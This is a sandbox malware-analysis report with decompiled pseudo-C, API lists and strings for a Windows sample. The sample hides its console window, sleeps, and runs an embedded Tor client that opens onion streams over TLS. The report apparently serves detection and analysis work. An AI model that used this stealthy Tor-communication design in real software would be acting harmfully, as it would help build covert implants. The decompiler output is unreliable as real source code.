memcmp.MSVCRT ref: 00007FF61D781292
GetConsoleWindow.KERNEL32 ref: 00007FF61D7812A5
GetConsoleWindow.KERNELBASE ref: 00007FF61D7812B2
ShowWindow.USER32 ref: 00007FF61D7812BD
free.MSVCRT ref: 00007FF61D78132F
SleepEx.KERNEL32 ref: 00007FF61D781386

Strings

info, xrefs: 00007FF61D781223
cached-consensus, xrefs: 00007FF61D7812C8
error, xrefs: 00007FF61D781288
debug, xrefs: 00007FF61D7811F1
warning, xrefs: 00007FF61D781256

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: memcmp$Window$Console$ShowSleepfree
String ID: cached-consensus$debug$error$info$warning
API String ID: 4256011749-3964234580
Opcode ID: ebed0b62205a218ca73b477b18b713b48da28e9008844fdc1ae3e78efacae93a
Instruction ID: f8dd08fa08ef178b65a7c9fcdc5a2cb4aec2832248eb67e53189d3530c28968c
Opcode Fuzzy Hash: ebed0b62205a218ca73b477b18b713b48da28e9008844fdc1ae3e78efacae93a
Instruction Fuzzy Hash: C4617A62F08F429AFB14DB64E8802BC73A1AB45B74F805235DE1DD2AA5FF38A54DD340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78CD08 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E00007FF67FF61D78CD08(signed int __ecx, void* __eflags, long long __rcx, long long __rdx, void* __r8) {
				void* __rbx;
				void* __rsi;
				void* _t33;
				void* _t38;
				signed int _t43;
				signed int _t52;
				void* _t54;
				void* _t60;
				intOrPtr _t61;
				signed long long _t69;
				void* _t82;
				void* _t85;
				void* _t87;
				void* _t88;
				void* _t105;
				signed long long _t106;
				void* _t108;
				char* _t109;

				_t54 = _t87;
				 *((intOrPtr*)(_t54 + 0x20)) = r9b;
				 *((long long*)(_t54 + 0x10)) = __rdx;
				 *((long long*)(_t54 + 8)) = __rcx;
				_push(_t60);
				_push(_t82);
				_t85 = _t54 - 0x168;
				_t88 = _t87 - 0x228;
				 *((long long*)(_t85 + 0x60)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				 *(_t88 + 0x40) = 0;
				E00007FF67FF61D781BA8(__r8, _t85 + 0x40);
				_t9 = _t60 + 2; // 0x2
				_t43 = _t9;
				 *(_t88 + 0x40) = _t43;
				 *((long long*)(_t88 + 0x70)) = "\n";
				 *((long long*)(_t88 + 0x78)) = 0x1d7937f1;
				asm("movaps xmm0, [esp+0x70]");
				asm("movdqa [ebp-0x30], xmm0");
				_t33 = E00007FF67FF61D781C90(__r8, _t85 + 0x68); // executed
				 *(_t88 + 0x40) = _t43 & 0xfffffffd;
				E00007FF67FF61D781BDC(_t33, _t85 + 0x40); // executed
				r12d = 0;
				_t106 =  *((intOrPtr*)(_t85 + 0x70));
				if (_t106 ==  *((intOrPtr*)(_t85 + 0x78))) goto 0x1d78ce6f;
				 *((long long*)(_t88 + 0x70)) = 0x1d7953a8;
				 *((long long*)(_t88 + 0x78)) = 0x1d7953a9;
				asm("movaps xmm6, [esp+0x70]");
				asm("movdqa [esp+0x50], xmm6");
				_t69 = _t106; // executed
				E00007FF67FF61D781C90(_t69, _t85 - 0x58); // executed
				_t61 =  *((intOrPtr*)(_t85 - 0x50));
				_t109 =  *((intOrPtr*)(_t61 + 8));
				asm("dec eax");
				if ((_t69 &  *((intOrPtr*)(_t61 + 0x10)) - _t109 - 0x00000001) != 1) goto 0x1d78ce27;
				if ( *_t109 != 0x72) goto 0x1d78ce27;
				r12d = __ecx;
				goto 0x1d78ce4b;
				E00007FF67FF61D781E74(_t61, _t85 + 0x180);
				if ( *((intOrPtr*)(_t85 + 0x180)) != 0xa41ce6a2) goto 0x1d78ce4b;
				r12d = 2;
				_t52 = r12d;
				if (_t52 == 0) goto 0x1d78d1a2;
				if (_t52 == 0) goto 0x1d78ce94;
				if (r12d - 1 != 1) goto 0x1d78d2b0;
				E00007FF67FF61D781F00(_t61, _t85 - 0x58, _t82, _t108);
				_t38 = E00007FF67FF61D781F00(_t61, _t85 + 0x68, _t82, _t105); // executed
				asm("movaps xmm6, [esp+0x210]");
				return _t38;
			}

0x7ff61d78cd08
0x7ff61d78cd0b
0x7ff61d78cd0f
0x7ff61d78cd13
0x7ff61d78cd18
0x7ff61d78cd19
0x7ff61d78cd23
0x7ff61d78cd2a
0x7ff61d78cd31
0x7ff61d78cd39
0x7ff61d78cd42
0x7ff61d78cd54
0x7ff61d78cd59
0x7ff61d78cd59
0x7ff61d78cd5c
0x7ff61d78cd67
0x7ff61d78cd73
0x7ff61d78cd78
0x7ff61d78cd7d
0x7ff61d78cd8d
0x7ff61d78cd98
0x7ff61d78cda0
0x7ff61d78cda5
0x7ff61d78cdaa
0x7ff61d78cdb5
0x7ff61d78cdc2
0x7ff61d78cdce
0x7ff61d78cdd3
0x7ff61d78cdd8
0x7ff61d78cde7
0x7ff61d78cdea
0x7ff61d78cdf0
0x7ff61d78cdf4
0x7ff61d78ce10
0x7ff61d78ce1a
0x7ff61d78ce20
0x7ff61d78ce22
0x7ff61d78ce25
0x7ff61d78ce34
0x7ff61d78ce43
0x7ff61d78ce45
0x7ff61d78ce4e
0x7ff61d78ce51
0x7ff61d78ce5a
0x7ff61d78ce5f
0x7ff61d78ce69
0x7ff61d78ce73
0x7ff61d78ce78
0x7ff61d78ce93

APIs

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

malloc.MSVCRT ref: 00007FF61D78CFBF
sscanf.MSVCRT ref: 00007FF61D78D010
sscanf.MSVCRT ref: 00007FF61D78D036
InitializeCriticalSection.KERNEL32 ref: 00007FF61D78D077
inet_addr.WS2_32 ref: 00007FF61D78D09F
free.MSVCRT ref: 00007FF61D78D18C
free.MSVCRT ref: 00007FF61D78D197
memset.MSVCRT ref: 00007FF61D78D210
sscanf.MSVCRT ref: 00007FF61D78D24B
_mkgmtime.MSVCRT ref: 00007FF61D78D263
time.MSVCRT ref: 00007FF61D78D29E

Strings

gfffffff, xrefs: 00007FF61D78D156
%04d-%02d-%02d %02d:%02d:%02d, xrefs: 00007FF61D78D241

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: freesscanf$CriticalInitializeSection_mkgmtimeinet_addrmallocmemsettime
String ID: %04d-%02d-%02d %02d:%02d:%02d$gfffffff
API String ID: 1162402541-2325642954
Opcode ID: 6c92c41feb88d33b785320c0460f0a80a13e25afcc7417e6550cba169223c222
Instruction ID: f8d8dd526ddf3f517aa1034d19d3a29cf7ae8c07c09bde0b49c26b80889fe0e8
Opcode Fuzzy Hash: 6c92c41feb88d33b785320c0460f0a80a13e25afcc7417e6550cba169223c222
Instruction Fuzzy Hash: B2F15C63A18F819AEB14CF79E8402ED73A0FB45B64F405236DA5D97B98EF78D558C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78EC44 Relevance: 19.8, APIs: 2, Strings: 11, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00007FF67FF61D78EC44(void* __ecx, void* __edi, void* __ebp, long long __rcx, long long __rdx, signed int __r8) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int _t130;
				void* _t131;
				void* _t136;
				void* _t148;
				void* _t151;
				void* _t155;
				void* _t157;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t191;
				signed long long _t206;
				intOrPtr* _t207;
				void* _t216;
				signed short _t217;
				signed short _t219;
				long long _t269;
				void* _t289;
				long long _t290;
				void* _t292;
				void* _t294;
				void* _t295;
				void* _t297;
				void* _t298;
				signed long long _t305;
				long long _t320;
				void* _t323;
				long long _t324;
				void* _t326;
				long long _t329;
				signed short _t330;
				void* _t332;
				int _t335;
				long long _t336;

				_t171 = __edi;
				_t157 = __ecx;
				_t191 = _t297;
				 *((long long*)(_t191 + 0x10)) = __rdx;
				 *((long long*)(_t191 + 8)) = __rcx;
				_t295 = _t191 - 0x5f;
				_t298 = _t297 - 0xf8;
				 *((long long*)(_t295 - 9)) = 0xfffffffe;
				asm("movaps [eax-0x58], xmm6");
				_t217 = __r8;
				_t290 = __rdx;
				 *(_t298 + 0x30) = 0;
				_t336 =  *((intOrPtr*)(__r8 + 0x48));
				asm("dec eax");
				_t329 = ( *((intOrPtr*)(__r8 + 0x50)) - _t336 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x50)) - _t336)) + _t336;
				 *((long long*)(_t295 - 0x29)) = _t336;
				 *((long long*)(_t295 - 0x21)) = _t329;
				_t324 =  *((intOrPtr*)(__r8 + 0x68));
				asm("dec eax");
				 *((long long*)(_t298 + 0x50)) = _t324;
				 *((long long*)(_t298 + 0x58)) = ( *((intOrPtr*)(__r8 + 0x70)) - _t324 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x70)) - _t324)) + _t324;
				_t269 =  *((intOrPtr*)(__r8 + 0x88));
				asm("dec eax");
				 *((long long*)(_t295 - 0x59)) = _t269;
				 *((long long*)(_t295 - 0x51)) = ( *((intOrPtr*)(__r8 + 0x90)) - _t269 - 0x00000001 &  ~( *((intOrPtr*)(__r8 + 0x90)) - _t269)) + _t269;
				_t130 =  *(__r8 + 0xa0) & 0x0000ffff;
				 *(_t295 + 0x77) = _t130;
				asm("dec ebp");
				if ((__r8 &  *((intOrPtr*)(__r8 + 0x30)) -  *((intOrPtr*)(__r8 + 0x28)) - 0x00000001) != 8) goto 0x1d78ed2e;
				0x1d79024d(_t292, _t216, _t294);
				if (_t130 != 0) goto 0x1d78ed2e;
				r14b = 1;
				goto 0x1d78ed31;
				r14b = 0;
				_t319 =  *((intOrPtr*)(__r8 + 8));
				_t131 = E00007FF67FF61D781720(1, __edi, 0x1d79d010, "Accessing \'%s\'\n",  *((intOrPtr*)(__r8 + 8)));
				asm("xorps xmm0, xmm0");
				asm("movdqu [esp+0x38], xmm0");
				 *(_t295 + 0x7f) = _t217;
				 *((long long*)(_t295 - 0x49)) = ".onion";
				 *((long long*)(_t295 - 0x41)) = 0x1d795506;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				r8d = 0;
				E00007FF67FF61D7817E4(_t131, _t130, 0x1d795506, _t217, _t295 - 0x29, _t295 - 0x49, _t292, _t295, "Accessing \'%s\'\n");
				asm("movaps xmm6, [esp+0x50]");
				if (0x1d795506 != _t329 - _t336 - 6) goto 0x1d78ee6a;
				_t330 = _t329 - _t336;
				_t205 =  <  ? _t330 : _t330 - 6;
				E00007FF67FF61D781BA8( <  ? _t330 : _t330 - 6, _t295 - 0x49);
				_t35 = _t217 + 2; // 0x2
				_t173 = _t35;
				 *(_t298 + 0x30) = _t173;
				_t305 = "Creating onion stream...\n";
				_t37 = _t217 + 1; // 0x1
				E00007FF67FF61D781720(_t37, __edi, 0x1d79d010, _t305, _t319);
				_t320 =  *((intOrPtr*)(_t295 - 0x41));
				_t206 =  *((intOrPtr*)(_t295 - 0x39)) - _t320 - 1;
				asm("dec ebp");
				 *((long long*)(_t298 + 0x50)) = _t320;
				 *((long long*)(_t298 + 0x58)) = (_t305 & _t206) + _t320;
				asm("movaps xmm0, [esp+0x50]");
				asm("movdqa [esp+0x50], xmm0");
				r9d =  *(_t295 + 0x77) & 0x0000ffff;
				E00007FF67FF61D784C58(0, _t157, _t37, __edi, _t173, __ebp, _t330 - _t330 - 6, _t217,  *((intOrPtr*)( *((intOrPtr*)(_t295 + 0x67)) + 0x38)), _t295 - 0x29, _t292, _t298 + 0x50); // executed
				 *((long long*)(_t298 + 0x38)) =  *_t206;
				 *_t206 =  *((intOrPtr*)(_t298 + 0x38));
				 *((long long*)(_t298 + 0x40)) =  *((intOrPtr*)(_t206 + 8));
				 *((long long*)(_t206 + 8)) =  *((intOrPtr*)(_t298 + 0x40));
				_t136 = E00007FF67FF61D786AF4(_t295 - 0x29);
				_t174 = _t173 & 0xfffffffd;
				 *(_t298 + 0x30) = _t174;
				E00007FF67FF61D781BDC(_t136, _t295 - 0x49);
				goto 0x1d78eecf;
				E00007FF67FF61D781720(1, __edi, 0x1d79d010, "Creating stream...\n", _t320);
				asm("movdqa [esp+0x50], xmm6");
				r9d =  *(_t295 + 0x77) & 0x0000ffff;
				E00007FF67FF61D7849E8(__edi, _t174, _t330 - _t330 - 6, _t217,  *((intOrPtr*)( *((intOrPtr*)(_t295 + 0x67)) + 0x38)), _t295 - 0x29, _t292, _t298 + 0x50, _t320);
				 *((long long*)(_t298 + 0x38)) =  *_t206;
				 *_t206 =  *((intOrPtr*)(_t298 + 0x38));
				 *((long long*)(_t298 + 0x40)) =  *((intOrPtr*)(_t206 + 8));
				 *((long long*)(_t206 + 8)) =  *((intOrPtr*)(_t298 + 0x40));
				E00007FF67FF61D786AF4(_t295 - 0x29);
				r13d = 0;
				if ( *((intOrPtr*)(_t298 + 0x38)) == _t330) goto 0x1d78f0ce;
				_t70 = _t330 + 1; // 0x1
				E00007FF67FF61D781720(_t70, _t171, 0x1d79d010, "Created...\n", _t320);
				_t72 = _t330 + 1; // 0x1
				E00007FF67FF61D781720(_t72, _t171, 0x1d79d010, "Sending request...\n", _t320);
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x71], xmm0");
				 *(_t295 - 0x61) = _t330;
				if (r14b == 0) goto 0x1d78efee;
				malloc(_t335);
				 *(_t295 + 0x77) = _t206;
				if (_t206 == 0) goto 0x1d78ef56;
				asm("movdqa [esp+0x50], xmm6");
				E00007FF67FF61D783BB4(_t206,  *((intOrPtr*)(_t298 + 0x38)), _t298 + 0x50);
				goto 0x1d78ef59;
				_t219 = _t330;
				 *(_t295 + 0x77) = _t219;
				 *(_t295 + 0x7f) = _t219;
				 *(_t295 + 0x77) = _t330;
				 *(_t295 + 0x77) = _t330;
				_t81 = _t219 + 0x10; // 0x10
				if (E00007FF67FF61D783428(0, _t219, _t81,  *((intOrPtr*)(_t298 + 0x38)), _t290, _t292, _t332, _t326, _t323) != 0x90312) goto 0x1d78ef94;
				if (E00007FF67FF61D783664(_t219, _t81) < 0) goto 0x1d78ef96;
				if (E00007FF67FF61D78356C(1, _t219, _t81, _t292, _t298 + 0x50, _t289) == 0) goto 0x1d78efeb;
				_t148 = E00007FF67FF61D781720(3, _t171, 0x1d79d010, "Error while establishing TLS with \'%s\'\n", _t324);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				_t175 = _t174 | 0x00000001;
				 *(_t298 + 0x30) = _t175;
				E00007FF67FF61D781BDC(_t148, _t295 - 0x79);
				if (_t219 == 0) goto 0x1d78f0f2;
				_t207 =  *_t219;
				 *_t207();
				goto 0x1d78f0f2;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movdqa [esp+0x50], xmm6");
				 *(_t298 + 0x20) = _t219;
				_t151 = E00007FF67FF61D7837A4(1, _t219, _t207, _t219, _t295 - 0x29, _t298 + 0x50, _t292, _t295 - 0x59);
				 *((long long*)(_t295 - 0x71)) =  *((intOrPtr*)(_t207 + 8));
				 *((long long*)(_t207 + 8)) =  *((intOrPtr*)(_t295 - 0x71));
				 *((long long*)(_t295 - 0x69)) =  *((intOrPtr*)(_t207 + 0x10));
				 *((long long*)(_t207 + 0x10)) =  *((intOrPtr*)(_t295 - 0x69));
				 *(_t295 - 0x61) =  *((intOrPtr*)(_t207 + 0x18));
				 *((long long*)(_t207 + 0x18)) =  *(_t295 - 0x61);
				E00007FF67FF61D781BDC(_t151, _t295 - 0x29);
				asm("dec eax");
				if (( *((intOrPtr*)(_t295 - 0x69)) -  *((intOrPtr*)(_t295 - 0x71)) - 0x00000001 &  ~( *((intOrPtr*)(_t295 - 0x69)) -  *((intOrPtr*)(_t295 - 0x71)))) == 0) goto 0x1d78f07c;
				goto 0x1d78f088;
				E00007FF67FF61D781720(2, _t171, 0x1d79d010, "Received empty response!\n", _t295 - 0x59);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				 *(_t290 + 8) =  *((intOrPtr*)(_t295 - 0x71));
				 *((long long*)(_t295 - 0x71)) =  *(_t290 + 8);
				 *(_t290 + 0x10) =  *((intOrPtr*)(_t295 - 0x69));
				 *((long long*)(_t295 - 0x69)) =  *(_t290 + 0x10);
				 *(_t290 + 0x18) =  *(_t295 - 0x61);
				 *(_t295 - 0x61) =  *(_t290 + 0x18);
				goto 0x1d78efbf;
				E00007FF67FF61D781720(3, _t171,  *(_t290 + 0x18), "Error while creating the onion stream\n", _t295 - 0x59);
				 *(_t290 + 8) = _t330;
				 *(_t290 + 0x10) = _t330;
				 *(_t290 + 0x18) = _t330;
				 *(_t298 + 0x30) = _t175 | 0x00000001;
				 *(_t295 + 0x7f) = _t330;
				_t155 = E00007FF67FF61D786AF4(_t298 + 0x38);
				asm("movaps xmm6, [esp+0xe0]");
				return _t155;
			}

0x7ff61d78ec44
0x7ff61d78ec44
0x7ff61d78ec44
0x7ff61d78ec47
0x7ff61d78ec4b
0x7ff61d78ec5b
0x7ff61d78ec5f
0x7ff61d78ec66
0x7ff61d78ec6e
0x7ff61d78ec72
0x7ff61d78ec75
0x7ff61d78ec7a
0x7ff61d78ec7e
0x7ff61d78ec90
0x7ff61d78ec96
0x7ff61d78ec99
0x7ff61d78ec9d
0x7ff61d78eca1
0x7ff61d78ecb3
0x7ff61d78ecbc
0x7ff61d78ecc1
0x7ff61d78ecc6
0x7ff61d78ecde
0x7ff61d78ece7
0x7ff61d78eceb
0x7ff61d78ecef
0x7ff61d78ecf7
0x7ff61d78ed0d
0x7ff61d78ed17
0x7ff61d78ed20
0x7ff61d78ed27
0x7ff61d78ed29
0x7ff61d78ed2c
0x7ff61d78ed2e
0x7ff61d78ed31
0x7ff61d78ed48
0x7ff61d78ed4d
0x7ff61d78ed50
0x7ff61d78ed58
0x7ff61d78ed63
0x7ff61d78ed6e
0x7ff61d78ed72
0x7ff61d78ed76
0x7ff61d78ed7b
0x7ff61d78ed86
0x7ff61d78ed95
0x7ff61d78ed9d
0x7ff61d78eda3
0x7ff61d78edad
0x7ff61d78edbf
0x7ff61d78edc4
0x7ff61d78edc4
0x7ff61d78edc7
0x7ff61d78edcb
0x7ff61d78edd2
0x7ff61d78eddc
0x7ff61d78ede5
0x7ff61d78edec
0x7ff61d78edf3
0x7ff61d78edfc
0x7ff61d78ee01
0x7ff61d78ee06
0x7ff61d78ee0b
0x7ff61d78ee11
0x7ff61d78ee27
0x7ff61d78ee35
0x7ff61d78ee3a
0x7ff61d78ee46
0x7ff61d78ee4b
0x7ff61d78ee53
0x7ff61d78ee58
0x7ff61d78ee5b
0x7ff61d78ee63
0x7ff61d78ee68
0x7ff61d78ee7d
0x7ff61d78ee82
0x7ff61d78ee88
0x7ff61d78ee9e
0x7ff61d78eeac
0x7ff61d78eeb1
0x7ff61d78eebd
0x7ff61d78eec2
0x7ff61d78eeca
0x7ff61d78eecf
0x7ff61d78eede
0x7ff61d78eeeb
0x7ff61d78eeef
0x7ff61d78ef00
0x7ff61d78ef0b
0x7ff61d78ef10
0x7ff61d78ef13
0x7ff61d78ef18
0x7ff61d78ef1f
0x7ff61d78ef2a
0x7ff61d78ef30
0x7ff61d78ef37
0x7ff61d78ef39
0x7ff61d78ef4c
0x7ff61d78ef54
0x7ff61d78ef56
0x7ff61d78ef59
0x7ff61d78ef5d
0x7ff61d78ef61
0x7ff61d78ef65
0x7ff61d78ef69
0x7ff61d78ef7c
0x7ff61d78ef88
0x7ff61d78ef96
0x7ff61d78efae
0x7ff61d78efb3
0x7ff61d78efb7
0x7ff61d78efbb
0x7ff61d78efbf
0x7ff61d78efc2
0x7ff61d78efca
0x7ff61d78efd3
0x7ff61d78efd9
0x7ff61d78efe4
0x7ff61d78efe6
0x7ff61d78efee
0x7ff61d78eff2
0x7ff61d78eff7
0x7ff61d78effd
0x7ff61d78f00f
0x7ff61d78f01f
0x7ff61d78f023
0x7ff61d78f02f
0x7ff61d78f033
0x7ff61d78f03f
0x7ff61d78f043
0x7ff61d78f04b
0x7ff61d78f05f
0x7ff61d78f06c
0x7ff61d78f07a
0x7ff61d78f088
0x7ff61d78f08d
0x7ff61d78f091
0x7ff61d78f095
0x7ff61d78f0a1
0x7ff61d78f0a5
0x7ff61d78f0b1
0x7ff61d78f0b5
0x7ff61d78f0c1
0x7ff61d78f0c5
0x7ff61d78f0c9
0x7ff61d78f0da
0x7ff61d78f0df
0x7ff61d78f0e3
0x7ff61d78f0e7
0x7ff61d78f0ee
0x7ff61d78f0f2
0x7ff61d78f0fb
0x7ff61d78f103
0x7ff61d78f11e

APIs

memcmp.MSVCRT ref: 00007FF61D78ED20

Part of subcall function 00007FF61D781BDC: free.MSVCRT ref: 00007FF61D781BF2

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

malloc.MSVCRT ref: 00007FF61D78EF2A

Strings

https://, xrefs: 00007FF61D78ED19
Error while establishing TLS with '%s', xrefs: 00007FF61D78EF9B
Creating stream..., xrefs: 00007FF61D78EE6A
Received empty response!, xrefs: 00007FF61D78F07C
Created..., xrefs: 00007FF61D78EEE4
Error while creating the onion stream, xrefs: 00007FF61D78F0CE
Accessing '%s', xrefs: 00007FF61D78ED35
.onion, xrefs: 00007FF61D78ED5C
Sending request..., xrefs: 00007FF61D78EEF9
Creating onion stream..., xrefs: 00007FF61D78EDCB
Response received..., xrefs: 00007FF61D78F06E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CurrentLocalThreadTime_cwprintf_s_lfreemallocmemcmp
String ID: .onion$Accessing '%s'$Created...$Creating onion stream...$Creating stream...$Error while creating the onion stream$Error while establishing TLS with '%s'$Received empty response!$Response received...$Sending request...$https://
API String ID: 3650025451-2257922318
Opcode ID: 35b37bfc4ee211ff520b21506391788a8e53149e7acc11e8a847714cd90812b2
Instruction ID: c76d86d11117f9134e9a924ec9f4257577943fa27590c8c7ef89141bc3990564
Opcode Fuzzy Hash: 35b37bfc4ee211ff520b21506391788a8e53149e7acc11e8a847714cd90812b2
Instruction Fuzzy Hash: BCE14B37A18F8686EB00CF65E4401AD73B5FB84BA8B504536EE8D93B65EF38E159D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7841AC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

gethostbyname.WS2_32 ref: 00007FF61D7841CA
htons.WS2_32 ref: 00007FF61D7841E9
memmove.MSVCRT(?,?,?,?,?,?,?,00007FF61D783736), ref: 00007FF61D784205
socket.WS2_32 ref: 00007FF61D78421A
setsockopt.WS2_32 ref: 00007FF61D784252
setsockopt.WS2_32 ref: 00007FF61D78429C
connect.WS2_32 ref: 00007FF61D7842C9
WSAGetLastError.WS2_32 ref: 00007FF61D7842D4

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

Strings

tcp_socket::connect setsockopt SO_SNDTIMEO error: %i, xrefs: 00007FF61D7842A9
tcp_socket::connect connect error: %i, xrefs: 00007FF61D7842DA
tcp_socket::connect setsockopt SO_RCVTIMEO error: %i, xrefs: 00007FF61D78426B

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: setsockopt$CurrentErrorLastLocalThreadTime_cwprintf_s_lconnectgethostbynamehtonsmemmovesocket
String ID: tcp_socket::connect connect error: %i$tcp_socket::connect setsockopt SO_RCVTIMEO error: %i$tcp_socket::connect setsockopt SO_SNDTIMEO error: %i
API String ID: 2396662901-3524291084
Opcode ID: d28ba8978c4815efc8a7190eaa65512aeaec23b725c6f5e8e2e73fba0cded385
Instruction ID: bbbe9eaa1849ea94f56896dcdc5c68567dc2a1ef6d45b0ef4262158ae61b2465
Opcode Fuzzy Hash: d28ba8978c4815efc8a7190eaa65512aeaec23b725c6f5e8e2e73fba0cded385
Instruction Fuzzy Hash: 01419172A08E4282E714DF65E4005AA73A1FB84FB4F045235EA5D83BA4EF7CD54DD740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7866C4 Relevance: 16.7, APIs: 2, Strings: 9, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00007FF67FF61D7866C4(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r14, void* __r15) {
				void* _t106;
				signed int _t123;
				void* _t132;
				void* _t134;
				void* _t135;
				intOrPtr* _t140;
				intOrPtr* _t142;
				void* _t147;
				intOrPtr _t150;
				signed char* _t156;
				intOrPtr _t158;
				signed long long _t159;
				long long _t162;
				void* _t208;
				intOrPtr _t209;
				intOrPtr* _t210;
				void* _t213;
				intOrPtr* _t214;
				intOrPtr* _t215;
				void* _t217;
				void* _t218;
				void* _t219;
				long long _t233;
				intOrPtr _t237;

				_t132 = __edi;
				_t147 = _t218;
				_t217 = _t147 - 0x18;
				_t219 = _t218 - 0x110;
				 *((long long*)(_t217 - 0x20)) = 0xfffffffe;
				 *((long long*)(_t147 + 8)) = __rbx;
				 *((long long*)(_t147 + 0x10)) = __rsi;
				 *((long long*)(_t147 + 0x18)) = __rdi;
				 *((long long*)(_t147 + 0x20)) = __r14;
				_t213 = __rdx;
				_t208 = __rcx;
				E00007FF67FF61D789F44(_t134, _t147, _t219 + 0x70, __r8, __r8);
				_t162 =  *((intOrPtr*)(_t217 - 0x48)) -  *(_t217 - 0x50);
				r8d =  *(_t217 - 0x60) & 0x000000ff;
				r10d =  *(_t219 + 0x74) & 0x000000ff;
				r11d =  *(_t217 - 0x5e) & 0x0000ffff;
				_t123 =  *(_t219 + 0x70);
				asm("bt edx, 0x1f");
				_t149 =  <  ? " (MSB set)" : 0x1d79391d;
				r9d = _t123;
				asm("inc ecx");
				 *((long long*)(_t219 + 0x48)) = _t162;
				 *(_t219 + 0x40) = r8d;
				 *(_t219 + 0x38) = r10d;
				 *(_t219 + 0x30) = r11d;
				 *(_t219 + 0x28) = _t123;
				 *(_t219 + 0x20) =  <  ? " (MSB set)" : 0x1d79391d;
				E00007FF67FF61D781720(0, _t132, 0x1d79d010, "tor_socket::recv_cell() [circuit: %i%s [%X], stream: %u, command: %u, relay_command: %u, payload_size: %u]\n", __r9);
				r9d =  *(_t217 - 0x60) & 0x000000ff;
				_t135 = r9d - 9;
				if (_t135 > 0) goto 0x1d78694f;
				if (_t135 == 0) goto 0x1d786936;
				if (_t135 == 0) goto 0x1d786921;
				if (_t135 == 0) goto 0x1d78688e;
